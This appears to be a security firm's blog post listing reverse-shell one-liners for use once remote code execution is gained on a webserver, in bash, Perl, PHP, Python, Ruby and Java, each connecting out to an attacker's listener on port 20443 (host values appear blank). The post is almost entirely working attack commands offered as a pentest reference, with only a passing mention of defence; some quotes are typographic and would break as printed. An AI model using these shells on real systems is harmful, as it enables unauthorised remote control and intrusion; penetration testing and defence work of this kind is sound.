Shells (from the korn shore)

Shells (from the korn shore)

Different shell strings to try when you have a remote code execution or a writable file system with a local file include issue.


Getting Shell

Getting a shell returned when testing a webserver is vital during a pentest. Equally, in defending a webserver it is imperative to know the extent an attack could go to in order to get a shell.

Each of the examples below require a remote code execution on the webserver of some form. The also require some form of listener to be running on the attacker controlled machine to receive the shell.

Bash Shell

This is a very basic TCP socket method which should work for the vast majority of Linux systems.

bash -i >& /dev/tcp/ 0>&1


0<&196;exec 196<>/dev/tcp/; sh <&196 >&196 2>&196


exec 5<>/dev/tcp/ cat <&5 | while read line; do $line 2>&5 >&5; done  # or: while read line 0<&5; do $line 2>&5 >&5; done

Perl Shell

Perl is an older scripting / programming language. It is useful particularly on the older systems where PHP or Python are not installed.

perl -e ‘use  Socket;$i=”″;$p=20443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/ksh  -i”);};’


perl -MIO -e '$p=fork;exit,if($p);$c=new  IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_  while<>;'

or on Windows

perl -MIO -e '$c=new  IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_  while<>;'

For newer Perl

perl -MIO::Socket -e '$p=fork;exit,if($p);$c=new  IO::Socket::INET(PeerAddr =>  "");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_  while<>;'

PHP Shell

PHP is a very common web development language.

php -r ‘$sock=fsockopen(“”,20443);exec(“/bin/ksh -i <&3 >&3 2>&3”);’

Python Shell

Python exists on both Linux and Windows. It is highly portable to can be very beneficial to the attacker.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",20443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/ksh","-i"]);'


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",20443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["cmd.exe","-i"]);'

Ruby Shell

Not too common but still good to know is the Ruby shell.

ruby -rsocket -e'"",20443).to_i;exec sprintf("/bin/ksh -i <&%d >&%d 2>&%d",f,f,f)'

Java Shell

For the eternally damned, there is a method for Java environments.

r = Runtime.getRuntime()
p = r.exec(["/bin/ksh","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

  • Recent Articles
Author Details
Founder & CEO at Hedgehog Security

Peter has been in the Information Security world since 1999 and in IT in general since 1996. His work history contains a unique blended balance between the development of exceptional technical capabilities and business knowledge. Peter is a proud father of twins and enjoys GT endurance racing on the weekends.

We would like to keep you informed about our services. Please tick the options below to receive occasional updates via

  • penetration testing steps
    Peter talks to FindMyUkCasino
  • Malware
    SB Tech Breach

    Last week saw SB Tech Breached by the hacking group Maze. It seems that every week the group are announcing more victims.  GameOn asked our CEO Peter Bassill, to give us some insight into the attack. The GameOn article is here.

  • Privacy
    Howto VPn

    In our “How to securely” series we asked our followers what tools they would like a simple guide on to help them stay secure online. There seemed to be a lot of confusion as to what a VPN is and why you should or should not use one. So we asked Peter to help.

  • WhatsApp
    How To Whatsapp Safely

    WhatsApp is among the fastest-growing instant messengers out there, and almost a social network in its own way. But if you are using it, there are some steps you should take to protect your security and privacy.

  • Morrisons Breach Update

    The UK’s highest court ruled that Morrisons can not be liable for a criminal act of a person seeking to harm their business. On April 1st, 2020, a panel of five justices unanimously ruled that Morrisons was not “vicariously liable”.

  • Remote Working Considerations

    With the current pandemic situation, we all need to be taking remote working considerations. While adjusting the work paradym, it is vital to keep a mind’s eye on the security and safety of the businesses information assets

  • Securing Zoom
    How To: Securing Zoom

    In this guide we are looking at how to go about securing zoom. Since the onset of the global pandemic, we have seen surge in “zoom bombing”. This is where people with malicious intent look for in-progress zoom meetings to join and cause trouble.

  • Software Security
    Dell EMC iDRAC memory corruption Vulnerability

    A critical vulnerabiltiy has been identified in Dell EMC iDRAC7, iDRAC8 and iDRAC9. Some unknown processing is affected by this issue. Manipulation with an unknown input can lead to stack based memory corruption.

  • Hiscox Sues for Failing to Disclose Data Breach

    On March 27th, Hiscox Insurance Company Inc. filed a complaint against law firm Warden Grier for concealing a data breach that occurred back in 2016.

  • Software Security
    Privilege escalation on Nginx Controller up to 3.1.x Controller API

    A critical vulnerability has been identified in Nginx Controller up to 3.1.x (web server,) affecting an unknown code block of the component Controller API.

Share on facebook
Share on google
Share on twitter
Share on linkedin
Share on pinterest
Scroll to Top